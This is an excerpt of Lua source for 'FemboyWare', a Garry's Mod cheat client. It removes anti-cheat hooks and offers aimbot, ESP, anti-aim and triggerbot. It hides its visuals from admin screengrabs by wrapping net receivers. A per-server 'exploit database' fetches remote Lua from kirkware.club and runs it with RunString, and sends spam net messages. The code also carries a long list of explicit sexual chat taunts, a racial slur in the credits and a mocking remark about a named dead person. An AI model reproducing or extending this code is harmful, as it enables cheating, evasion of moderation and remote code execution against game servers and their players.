"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠈⠀⠀⠀⠠⠐⠀⠀⠀⣨⠱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠈⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⡞⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⠀⠀⠁⠀⠀⠐⠀⠀⠀⠀⠀⡷⣣⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠄⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⠃⠀⠀⠀⠀⠸⣿⣿⣿⣿⣧⢻⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠄⠂⠀⠀⠀⠀⠀⠀⠘⣽⣯⣗⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣰⣾⡿⠋⠀⠀⠈⡔⠀⠀⣿⣿⣿⣿⣿⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⡤⠃⠀⠀⠀⠈⢻⣿⣿⣿⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⣤⣿⠟⠉⠀⠠⠀⡠⢃⠜⠀⠀⢿⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠂⠀⢾⡅⠀⢠⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣶⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⢦⣶⣿⠏⠀⠀⢠⣤⣀⣑⣈⣁⠆⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⣿⡇⢰⡈⢿⣦⣀⠀⠁⡀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣶⣿⢿⣥⣴⣆⣒⣒⣠⡆⠀⠀⠀⢀⡄⠀⢰⣶⠍⠉⠀⠀⡀⠀⣾⡿⣝⢦⡓⢦⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡄⠷⣄⠙⢿⣷⣤⣄⡀⠀⠀⠀⠀⠈⠉⠛⠻⠟⠿⠀⠈⠉⡹⢿⣿⠉⢉⣶⣶⣄⠈⢀⢀⣼⠛⠀⠀⠂⠁⠀⠀⣿⡽⣋⢶⡙⠂⠀⠀⠀⠠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⢀⢻⣿⣌⠹⣶⣠⡀⠉⠛⠻⢝⡖⣲⢢⠒⠴⠀⠀⢀⣀⣀⡀⢤⠀⠀⠀⠀⠀⠀⠉⠋⠀⠸⡀⠀⠀⠠⢀⠐⠲⣯⠁⡟⣼⡹⠆⠄⠀⢸⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⣾⠆⠻⣿⣶⣤⣁⣙⣛⢒⣀⣀⣀⣤⣤⣴⣶⣾⣿⣿⡿⣟⢯⣠⡐⠀⠀⠀⠀⠁⡀⠀⢀⣄⣂⠀⠈⠁⠀⠂⠀⠀⢀⡟⢶⠙⠈⠠⠁⢸⣇⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠉⠿⣿⣻⣿⣿⡿⣿⢿⣿⣿⢿⣿⡿⣿⣻⡹⣝⣯⢻⣜⠃⡔⠀⠀⠈⠀⣠⣶⡿⢋⣨⣕⣀⠀⡀⠀⠀⢀⠈⢸⠂⡜⢀⠣⠀⢽⣾⡄⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠈⠄⠠⢀⠉⠉⠉⢉⣉⣉⣉⣉⣡⢤⠀⣀⠀⠉⠁⠚⠻⡬⢘⣦⠀⠀⢀⣾⠟⣡⡶⠛⠉⠈⠉⠁⠈⠀⠐⠋⠂⣠⠓⠀⠢⠁⢀⠘⣿⣧⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢰⣿⠀⠀⢈⠀⠂⠄⡈⠔⢀⣾⣾⣵⣯⣾⣥⡏⠰⡌⠀⠀⠀⠱⢠⢀⠈⠛⢀⣀⠄⠋⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⢏⠴⠀⢨⠁⠀⠀⠂⠈⠻⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⣾⡃⠀⠀⠄⢈⠐⠠⠐⠀⣼⣿⣿⣿⢿⣿⣿⡅⡸⠄⠀⠀⠀⠀⠀⠘⢦⢄⠩⡜⢣⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠃⠘⡌⠆⠠⠁⠀⠀⠀⠀⠀⠐⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿",
"⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⡿⠀⠀⠀⡀⠂⠈⠄⠡⢐⣿⣿⣟⣿⣿⣿⠯⢀⠟⠀⠀⠀⠀⠀⠀⠀⠈⠈⠴⡈⢃⠺⣤⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⢘⠜⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿"
}
local KWL = {
"███████╗███████╗███╗░░░███╗██████╗░░█████╗░██╗░░██╗██╗░░░░░░░██╗██████╗░██████╗░███████╗",
"██╔════╝██╔════╝████╗░████║██╔══██╗██╔══██╗╚██╗██╔╝██║░░██╗░░██║██╔══██╗██╔══██╗██╔════╝",
"█████╗░░█████╗░░██╔████╔██║██████╔╝██║░░██║░╚███╔╝░╚██╗████╗██╔╝███████║██████╔╝█████╗░░",
"██╔══╝░░██╔══╝░░██║╚██╔╝██║██╔══██╗██║░░██║░░██║░░░░████╔═████║░██╔══██║██╔══██╗██╔══╝░░",
"██║░░░░░███████╗██║░╚═╝░██║██████╔╝╚█████╔╝░░██║░░░░╚██╔╝░╚██╔╝░██║░░██║██║░░██║███████╗",
"╚═╝░░░░░╚══════╝╚═╝░░░░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░░░╚═╝░░░╚═╝░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝",
}
/*
in remeberance of Charlie Kirk, may he tap in agartha with this p100 ai slop.
Made by ctavkep / slthlol
credits to:
kawaiinigga26 - coming up with Femboyware
chatgpt - creating the base
deepseek - being a chinese goat
gemini - being a goat
lebron james69 - mexican
kennedy - loving futa purple dragon cock
epicduck555 - lipliner hook
asteya - being here
bullet - worst cheater ever
*/
hook.Remove("CreateMove", "SmartsnapSnap") -- p100 buypass
hook.Remove("RenderScreenspaceEffects", "durgz_cocaine_high") -- mutiny
-- gRust p100 hook removal
hook.Remove("Think", "gRust.AC.LuaCheck")
hook.Remove("Think", "gRust.AC.RenderCheck")
hook.Remove("Think", "gRust.AC.ConVarCheck")
hook.Remove("InitPostEntity", "gRust.AC.EnableJIT")
local killsays = {
"you're cute yknow :3",
"i'd love to cuddle you <3'",
">:3",
"NYYYAAAAAA!!!~~~",
"hii daddy~ >w<",
"soooorry =w=",
"nice try <3",
"S-Sorry onii-chan p-please d-do me harder ;w;",
"Y-You got me all wet now Senpai!",
"D-Don't t-touch me there Senpai",
"P-Please l-love me harder oniichan ohh grrh aahhhh~!",
"Give me all your cum Senpai ahhhhh~",
"F-Fuck me harder chan! (⊙_⊙;)",
"Slvtsewer is such a cute femboy ahh~~ f-fuck... ⊙.☉",
"Oh my god I hate you so much Senpai but please k-keep fucking me harder! ahhh~",
"D-Do you like my stripped panties getting soaked by you and your hard cock? ehhh master you're so lewd ^0^~",
"Kun your cute little dick between my bussy looks really cute, I am blushing (*/ω\*)",
"M-Master does it feel good when I slide my smoll hand up and down on your cute manly part?",
"O-Oniichan my t-toes are so warm with your cum all over them (^///^)~",
"Lets take this swimsuit off already <3 i'll drink your unknown melty juice",
"S-Stop Senpai if we keep making these lewd sounds im going to cum~~",
"You're such a pervert for filling me up with your seman Senpai~~",
"Fill up my bussy with your semen kun ^-^",
"M-Master d-dont spank my petite butt so hard ahhhH~~~ you're getting me so w-wet~",
"Senpai your cock is already throbbing from my huge ass~",
"Hey kun, Can I have some semen?",
"M-My bussy is overflowing with your semen M-Master",
"Fill my throat bwussy with your semen kun",
"It-It's not gay if you're wearing thigh highs M-Master",
"I-I need somewhere to blow my load. Can i borrow your bussy?",
"A-ah shit... Y-your cock is big and in my ass -- already~?!",
"I'll swallow your sticky essence along with you~!",
"B-Baka please let me be your femboy cum slut!",
"That's a penis UwU you towd me you wewe a giww!!",
"Ahhhh... It's like a dream come true... I get to stick my dick inside your ass...!",
"Hey, who wants a piece of this plump 19-year-old boy-bussy? Single file, boys, come get it while it's hot!",
"M-Master, if you keep thrusting that hard, i am going to pass out!",
"When do you wanna meet up again? I've really taken a liking to your dick! (,,◠∇◠) I want you and only you to slam it into my buwssy every day! (≧∇≦)",
"All I did was crossplay 'cause I felt like it might be fun... But now I am just a little boy that cums from big dicks!",
"D-Don't get the wrong idea!!! I don't w-want you to fuck my b-bussy because I l-love you or anything! d-definitely not!",
"I-I know I said you could be as rough as you want... But surprise fisting wasn't what I had in mind!!",
"W-Why is it that lately... Y-You haven't been playing with my ass!!?",
"Hehe don't touch me there Onii-chann UwU",
"Your cum is all over my wet bussy M-Master",
"It Feels like you're pounding me with the force of a thousand suns Senpai",
"Y-Yes right there S-Sempai hooyah",
"P-Please keep filling my bussy S-Sempai",
"O-Onii-chan it felt so good when you punded my bussy",
"P-Please Onii-chan keep filling my bussy with your melty juice",
"O-Onii-chan you just one shot my bussy",
"I-Im nothing but a f-fucktoy slut for your m-monster fuckmeat!",
"Dominate my bussy with your vicious swimmers!",
"Y-Your meat septer has penetrated my tight boy hole",
"Mnn FASTER... HARDER! Turn me into your femboy slut~!",
"Mmmm- soothe me, caress me, Fuck me, breed me!",
"Probe your thick, wet, throbbing cock deeper and deeper into my boipussy~!!",
"Hya! Not my ears! Ah... It tickles! Ah!",
"Kouta... I can't believe how BIG his... Wait! Forget about that!! Is Nyuu-chan really giving him a Ass-Fuck!?",
"Senpai shove deeper your penis in m-my bussy (>ω<) please",
"I'm coming fwom you fwuking my asshole mmyyy!",
"P-Please be gentle, S-Senpai!",
"D-Don't get the wrong idea!! I didn't give up my viginity to you because I like you or anything!!",
"Let me taste your futa cock with my bussy~"
}
local text1 = "FemboyWare"
local text2 = "user: "
local text3 = "0"
local watermarkNameColor = Color(168, 100, 220)
local function MsgCGradient(text, colStart, colEnd)
local len = 0
for _ in string.gmatch(text, "[%z\1-\127\194-\244][\128-\191]*") do -- thanks gpt
len = len + 1
end
local i = 0
for char in string.gmatch(text, "[%z\1-\127\194-\244][\128-\191]*") do -- thanks gpt
i = i + 1
local f = i / len
local r = Lerp(f, colStart.r, colEnd.r)
local g = Lerp(f, colStart.g, colEnd.g)
local b = Lerp(f, colStart.b, colEnd.b)
MsgC(Color(r, g, b), char)
end
-- MsgC(Color(255, 255, 255), "\n")
end
local function LoadWebMaterial(url, callback)
if not url or url == "" then return end
local hash = util.CRC(url)
local path = "kirkware/cache/" .. hash .. ".png"
if file.Exists(path, "DATA") then
callback(Material("data/" .. path, "noclamp smooth"))
return
end
file.CreateDir("kirkware/cache")
http.Fetch(url, function(body, size, headers, code)
if code == 200 then
file.Write(path, body)
callback(Material("data/" .. path, "noclamp smooth"))
else
sNotify:Notify("FemboyWare", "Failed to download image (Code: " .. code .. ")", 4)
end
end, function(err)
sNotify:Notify("FemboyWare", "HTTP Error: " .. err, 4)
end)
end
for _, line in ipairs(TBK) do
MsgCGradient(line .. "\n", Color(100, 150, 220), Color(168, 100, 220))
end
MsgC(Color(255, 255, 255), "\n\n\n")
for _, line in ipairs(KWL) do
MsgCGradient(line .. "\n", Color(100, 150, 220), Color(168, 100, 220))
end
MsgC(Color(220, 210, 230), "\n")
MsgC(Color(220, 210, 230), "FemboyWare.", Color(168, 100, 220), "club", "\n")
MsgC(Color(220, 210, 230), "version: ", Color(168, 100, 220), "FemboyWare V1.0", "\n")
MsgC(Color(220, 210, 230), "Made by ", Color(168, 100, 220), "ctavkep", Color(220, 210, 230), ", ", Color(168, 100, 220), "slthlol", "\n\n")
MsgC(Color(220, 210, 230), "Press ", Color(168, 100, 220), "INSERT ", Color(220, 210, 230), "or use ", Color(168, 100, 220), "cl_crosshairvisible 1/0", Color(220, 210, 230), " to open/close menu.", "\n\n")
local config = {
fov = 40,
shotsBeforeReset = 2,
resetDuration = 0.05,
maxDistance = math.huge,
showFOV = true,
aimLine = false,
degreeDebug = false,
chrononEvader = false,
showWatermark = true,
kewlInfoStuff = false,
extrapolate = false,
extrapolateDebug = false,
aimPrediction = true,
enableAnimPrediction = false,
animPredictionMode = 0,
movementFixMode = "Legit",
predictionType = "Engine",
grustPredictionFactor = 0.05,
grustBulletDrop = true,
noVisualRecoil = false,
clientNoRecoilSpread = false,
disableInterp = false,
bhop = false,
bulletTracers = false,
espBox = false,
espBox3D = false,
espName = false,
espSkeleton = false,
espHealthType = 1,
espHealthBar = false,
espHealthSelection = {"Health Number"},
espFlagsSelected = {},
espHideOnFlags = {},
aimIgnore = {},
espWeapon = false,
espUsergroup = false,
espTeam = false,
showESP = true,
espDistance = 0,
espVisibleOnly = false,
ignoreDormant = true,
goodLittleBoy = false,
espItemViewer = false,
espVelocityViewer = false,
espEntity = false,
espEntityClass = {},
espValuablesMode = false,
espBaseESP = false,
visibilityType = "Penetration/Auto-Wall",
hitsound = false,
hitsound_mode = "Pop",
pmShitTalkMode = 1,
pmShitTalkCustom = "",
nameStealer = false,
visualNameSpoof = false,
visualNameSpoofMode = "None",
visualNameSpoofName = "Femboyware",
noScopeOverlay = false,
autofire = false,
autoReload = false,
aimMethod = "Camera",
aimBoneSelection = {"Head"},
forceBoneHP = 0,
aimSmoothingVal = 0,
viewFov = 0,
viewmodelFov = 0,
viewmodelX = 0,
viewmodelY = 0,
viewmodelZ = 0,
antiAim = false,
antiAimPitch = "None",
antiAimYaw = "Spin",
antiAimSpeed = 10,
autoStrafeMode = "Rage",
triggerbot = false,
noSpread = false,
binds = {
autofire = MOUSE_5,
triggerbot = MOUSE_5,
thirdperson = KEY_G,
freecam = KEY_J,
},
thirdperson = false,
thirdpersonDist = 100,
vehicleThirdpersonDist = 300,
freecam = false,
freecamSpeed = 5,
skyboxMode = "Off",
antiMedal = true,
customScreengrabImage = false,
customScreengrabURL = "",
watermarkMode = "Astolfo",
watermarkCustomURL = "",
watermarkURL = "https://i.imgur.com/mhsU0EL.png",
watermarkSize = 300,
chams = {
enabled = false,
player = false,
playermodel = false,
visibleCheck = true,
playerMaterial = 1,
playermodelMaterial = 1,
ignoreArms = false,
colors = {
playerVisible = Color(0, 255, 0, 255),
playerInvisible = Color(0, 50, 150, 255),
playermodel = Color(255, 0, 255, 255)
},
customHands = false,
customHandsModel = "models/cyanblue/supermarioinreallife/bowsette/arms/solongebowser.mdl"
},
colors = {
fov = Color(220, 210, 230),
aimLine = Color(220, 210, 230),
bulletTracers = Color(220, 210, 230),
espBox = Color(220, 210, 230),
espSkeleton = Color(220, 210, 230),
espName = Color(220, 210, 230),
espWeapon = Color(220, 210, 230),
espUsergroup = Color(220, 210, 230),
espEntity = Color(220, 210, 230),
espBaseESP = Color(168, 100, 220),
},
infoWatermark = "Off",
friends = {}, -- [SteamID64] = "Friend" / "Enemy" / nil (Neutral)
targetEnemiesOnly = false,
colors_mode = {},
nightmode = false,
nightmode_scale = 0.30,
disable_sky = false,
--------------------------------------------
visuals_fog_modulation = false,
visuals_fog_start = 0,
visuals_fog_end = 5000,
visuals_fog_density = 1.0,
visuals_fog_color = Color(255, 255, 255, 255),
visuals_bloomscale_enable = false,
visuals_bloomscale_value = 1.0,
}
local state = {
shotCount = 0,
isResetting = false,
resetEndTime = 0,
aimAlignedTime = 0,
lastTickDegrees = 0,
lastChrononCmd = 0,
lastChrononSent = nil,
lastTargets = {},
viewAngles = nil,
lastAA = nil,
thirdpersonActive = false,
lastToggleTime = 0,
freecamActive = false,
freecamLastToggle = 0,
isFiring = false,
aimAlignedTime = 0,
suppressFire = false,
-- Friends system
friendsList = {}, -- SteamID64 -> "neutral"/"friend"/"enemy"
selectedPlayer = nil, -- Currently selected player entity
}
do
hook.Remove("PreDrawSkyBox", "Femboyware_BlackSky")
hook.Remove("Think", "Femboyware_NightmodeEnforcer")
hook.Remove("PostRender", "Femboyware_CaptureFrameCounter")
local FW = {
lastState = nil,
lastScale = nil,
captureFramesLeft = 0,
oldSettings = {},
protectedInNets = {}
}
FW.UpdateNightMode = function(enabled, scale)
local world = game.GetWorld()
if not IsValid(world) then return end
local worldMaterials = world:GetMaterials()
local colVec = enabled and Vector(scale, scale, scale) or Vector(1, 1, 1)
local propCol = enabled and (255 * scale) or 255
for _, matPath in pairs(worldMaterials) do
local mat = Material(matPath)
if not mat or mat:IsError() then continue end
if string.find(string.lower(matPath), "skybox") or string.find(string.lower(matPath), "sky") then
continue
end
mat:SetVector("$color", colVec)
mat:SetVector("$color2", colVec)
end
local propClasses = { "prop_physics", "prop_dynamic", "prop_ragdoll" }
for _, class in ipairs(propClasses) do
for _, prop in pairs(ents.FindByClass(class)) do
if IsValid(prop) then
prop:SetColor(Color(propCol, propCol, propCol, 255))
if not enabled then prop:SetRenderMode(0) end
end
end
end
end
hook.Add("Think", "Femboyware_NightmodeEnforcer", function()
if not config then return end
local currentState = (config.nightmode == true) and not _G.Femboyware_IsCapturing
local currentScale = config.nightmode_scale or 0.3
if currentState ~= FW.lastState or currentScale ~= FW.lastScale then
FW.lastState = currentState
FW.lastScale = currentScale
FW.UpdateNightMode(currentState, currentScale)
end
end)
hook.Add("PreDrawSkyBox", "Femboyware_BlackSky", function()
if _G.Femboyware_IsCapturing then return end
if config and config.nightmode and config.disable_sky then
render.Clear(0, 0, 0, 255)
return true
end
end)
FW.ApplyFemboywareFog = function()
if _G.Femboyware_IsCapturing then return end
if not config.visuals_fog_modulation then return end
render.FogMode(MATERIAL_FOG_LINEAR)
render.FogStart(config.visuals_fog_start or 0)
render.FogEnd(config.visuals_fog_end or 5000)
render.FogMaxDensity(config.visuals_fog_density or 1)
local col = config.visuals_fog_color or Color(255, 255, 255)
render.FogColor(col.r, col.g, col.b)
return true
end
hook.Add("SetupWorldFog", "Femboyware_FogModulation", FW.ApplyFemboywareFog)
hook.Add("SetupSkyboxFog", "Femboyware_SkyboxFogModulation", FW.ApplyFemboywareFog)
hook.Add("RenderScreenspaceEffects", "Femboyware_ScreenspaceBloom", function()
if _G.Femboyware_IsCapturing then return end
if not config.visuals_bloomscale_enable then return end
local intensity = config.visuals_bloomscale_value or 1.0
DrawBloom(0.2, intensity, 9, 9, 2, 1, 1, 1, 1)
end)
_G.Femboyware_IsCapturing = false
FW.WrapScreengrabIncoming = function(msgName, originalCb)
return function(len, ply)
if not _G.Femboyware_IsCapturing then
_G.Femboyware_IsCapturing = true
FW.oldSettings.nightmode = config.nightmode
FW.oldSettings.nightmode_scale = config.nightmode_scale
FW.oldSettings.disable_sky = config.disable_sky
FW.oldSettings.visuals_fog_modulation = config.visuals_fog_modulation
FW.oldSettings.visuals_bloomscale_enable = config.visuals_bloomscale_enable
FW.oldSettings.showESP = config.showESP
FW.oldSettings.chamsEnabled = config.chams.enabled
if config.thirdperson_enabled ~= nil then
FW.oldSettings.thirdperson = config.thirdperson_enabled
config.thirdperson_enabled = false
end
config.nightmode = false
config.nightmode_scale = 1.0
config.disable_sky = false
config.visuals_fog_modulation = false
config.visuals_bloomscale_enable = false
config.showESP = false
config.chams.enabled = false
FW.UpdateNightMode(false, 1.0)
if IsValid(LocalPlayer()) then
pcall(render.RenderView, {
x = 0,
y = 0,
w = ScrW(),
h = ScrH(),
origin = LocalPlayer():EyePos(),
angles = LocalPlayer():EyeAngles(),
drawhud = false,
drawmonitors = false,
drawviewmodel = true
})
end
end
FW.captureFramesLeft = 8
if originalCb then
pcall(originalCb, len, ply)
end
end
end
hook.Add("PostRender", "Femboyware_CaptureFrameCounter", function()
if FW.captureFramesLeft > 0 then
FW.captureFramesLeft = FW.captureFramesLeft - 1
if FW.captureFramesLeft == 0 then
config.nightmode = FW.oldSettings.nightmode
config.nightmode_scale = FW.oldSettings.nightmode_scale
config.disable_sky = FW.oldSettings.disable_sky
config.visuals_fog_modulation = FW.oldSettings.visuals_fog_modulation
config.visuals_bloomscale_enable = FW.oldSettings.visuals_bloomscale_enable
config.showESP = FW.oldSettings.showESP
config.chams.enabled = FW.oldSettings.chamsEnabled
_G.Femboyware_IsCapturing = false
FW.UpdateNightMode(config.nightmode == true, config.nightmode_scale or 0.3)
end
end
end)
if net.Receivers then
for msgName, cb in pairs(net.Receivers) do
local lowerName = string.lower(msgName)
if string.find(lowerName, "gimme") or string.find(lowerName, "grab") or string.find(lowerName, "screen") or string.find(lowerName, "capture") then
if type(cb) == "function" and not FW.protectedInNets[msgName] then
net.Receivers[msgName] = FW.WrapScreengrabIncoming(msgName, cb)
FW.protectedInNets[msgName] = true
end
end
end
end
if not net.OldReceiveFemboy then
net.OldReceiveFemboy = net.Receive
net.Receive = function(name, cb)
local lowerName = string.lower(name)
if string.find(lowerName, "gimme") or string.find(lowerName, "grab") or string.find(lowerName, "screen") or string.find(lowerName, "capture") then
if type(cb) == "function" and not FW.protectedInNets[name] then
cb = FW.WrapScreengrabIncoming(name, cb)
FW.protectedInNets[name] = true
end
end
return net.OldReceiveFemboy(name, cb)
end
end
end
-- Exploits database by hostname pattern
local ExploitsDB = {
["My Garry's Mod Server"] = {
{ name = "Add Bot", func = function() RunConsoleCommand("bot") end }
},
["GarnetGaming"] = {
{ name = "Delivery Bot", func = function()
http.Fetch("https://kirkware.club/assets/lua/deliverypathfinder-garnet.lua", function(body)
RunString(body, "GarnetExploit")
MsgC(Color(255, 255, 255), "[FemboyWare]", " Exploit: Garnet Delivery Bot loaded\n")
end)
end },
{ name = "GarnetSploit Menu", func = function()
http.Fetch("https://kirkware.club/assets/lua/exploitmenu-garnet.lua", function(body)
RunString(body, "GarnetSploit")
MsgC(Color(255, 255, 255), "[FemboyWare]", " Exploit: GarnetSploit Menu loaded\n")
end)
end }
},
["MUTINY"] = {
{ name = "Party Join Spam", func = function()
MsgC(Color(255, 255, 255), "[FemboyWare]", " Exploit: Party Spam Started (ID: 1 - Default)\n")
timer.Create("scoop", 5.3, 0, function()
net.Start("PARTY.Option.Join")
net.WriteInt(1, 32)
net.WriteString("password")
net.SendToServer()
end)
end }
},
["Fatal.gg"] = {
{ name = "Respawn Exploit", func = function()
net.Start("fatals_im_afk")
net.SendToServer()
timer.Simple(7.1, function ()
net.Start("SCB.SendMessage")
net.WriteUInt(4, 8)
net.WriteData("/afk", 4)
net.SendToServer()
end)
end },
{ name = "Fataldel Menu", func = function()
http.Fetch("https://www.kirkware.club/assets/lua/fataldel-menu.lua", function(body)
RunString(body, "Fataldel")
end)
end }
},
["Swamp"] = {
{ name = "Thoratneck Killaura", func = function()
http.Fetch("https://www.kirkware.club/assets/lua/killaura-swamp.lua", function(body)
RunString(body, "SwampKillaura")
MsgC(Color(255, 255, 255), "[FemboyWare]", " Exploit: Thoratneck Killaura loaded\n")
end)
end },
{ name = "Femboyware Vote Spam", func = function()
http.Fetch("https://www.kirkware.club/assets/lua/kirkware-vote-swamp.lua", function(body)
RunString(body, "SwampVoteSpam")
MsgC(Color(255, 255, 255), "[FemboyWare]", " Exploit: Femboyware Vote Spam loaded\n")
end)
end }
},
["gRust"] = {
{ name = "Demon Movement", func = function()
http.Fetch("https://www.kirkware.club/assets/lua/grust-movement.lua", function(body)
RunString(body, "DemonMovement")
MsgC(Color(255, 255, 255), "[FemboyWare]", " Exploit: Demon Movement loaded\n")
end)
end }
},
["Civil Networks"] = {
{ name = "Bypass Bhop Check", func = function()
local function noop() end
for k, v in pairs(hook.GetTable()["SetupMove"]) do
hook.Add("SetupMove", k, noop)
MsgC(Color(255, 255, 255), "[FemboyWare]", "ended, " .. k .. "\n")
end
end }
},
["SuperiorServers.co"] = {
{ name = "Base ESP", type = "toggle", configKey = "espBaseESP" }
}
}
local introState = {
startTime = CurTime(),
duration = 3,
fadeTime = 2.5,
active = true,
quotes = {
"нянянянянян :3",
"Skeet skeet that's the number one cheat",
"Best of the best",
"FemboyWare? what the fuck",
"обнимашек хочется...",
"Заправляем чулочки... Ой, то есть чит. Загрузка... :3",
"Качаем лучшие скрипты для лучших котиков... Ready!"
}
}
introState.quote = introState.quotes[math.random(#introState.quotes)]
sound.PlayURL("https://krutoisait.narod.ws/intro_FemboyWare.mp3", "noplay", function(station)
if IsValid(station) then
station:Play()
end
end)
local function table_contains(table, element)
for _, value in pairs(table) do
if value == element then
return true
end
end
return false
end
-- YOU CANT SEE ME - johnthan guy
local ss = false
local customScreengrabMat = nil
local censorBoxPanel = nil
local censorBoxVisible = false
local renderv = render.RenderView
local renderc = render.Clear
local rendercap = render.Capture
local videorecord = video and video.Record
local bBeingVideoed = false
local iFrames = 0
local vguiworldpanel = vgui.GetWorldPanel
if config.customScreengrabURL ~= "" then
LoadWebMaterial(config.customScreengrabURL, function(mat)
customScreengrabMat = mat
end)
end
sNotify = sNotify or {}
sNotify.m_tAllNotifs = {}
sNotify.m_iMaxNotifs = 20
sNotify.m_iNotificationHeight = 5
sNotify.m_colBackground = Color(26, 26, 26)
sNotify.m_colBorder1 = Color(35, 35, 35)
sNotify.m_colBorder2 = Color(12, 12, 12)
sNotify.m_colBorder3 = Color(18, 18, 18)
sNotify.m_colBorder4 = Color(22, 22, 22)
function sNotify:Notify(strType, strText, flDuration)
flDuration = flDuration or 5
table.insert(self.m_tAllNotifs, {
strType = strType,
strText = strText,
flTime = flDuration,
flStartTime = RealTime(),
bIsRendering = false,
iTypeWidth = 0,
iTypeHeight = 0,
iTextWidth = 0,
iTextHeight = 0,
iTotalHeight = 0,
iTotalWidth = 0
})
end
local function InQuint(t)
return t * t * t * t * t
end
local function OutQuint(t)
t = t - 1
return t * t * t * t * t + 1
end
local function sRect(x, y, w, h, col)
surface.SetDrawColor(col)
surface.DrawRect(x, y, w, h)
end
local function sORect(x, y, w, h, col)
surface.SetDrawColor(col)
surface.DrawOutlinedRect(x, y, w, h)
end
local function sText(text, x, y, col)
surface.SetTextColor(col)
surface.SetTextPos(x, y)
surface.DrawText(text)
end
function sNotify:Draw()
if #self.m_tAllNotifs < 1 then return end
local flCurrentTime = RealTime()
local iTotalHeight = self.m_iNotificationHeight
local iIndex = 1
while iIndex <= #self.m_tAllNotifs and iIndex <= self.m_iMaxNotifs do
local tNotif = self.m_tAllNotifs[iIndex]
if not tNotif.bIsRendering then
tNotif.bIsRendering = true
tNotif.flStartTime = flCurrentTime
surface.SetFont("KirkTab")
local iTypeW, iTypeH = surface.GetTextSize(tNotif.strType)
tNotif.iTypeWidth = iTypeW
tNotif.iTypeHeight = iTypeH
surface.SetFont("KirkElement")
local iTextW, iTextH = surface.GetTextSize(tNotif.strText)
tNotif.iTextWidth = iTextW
tNotif.iTextHeight = iTextH
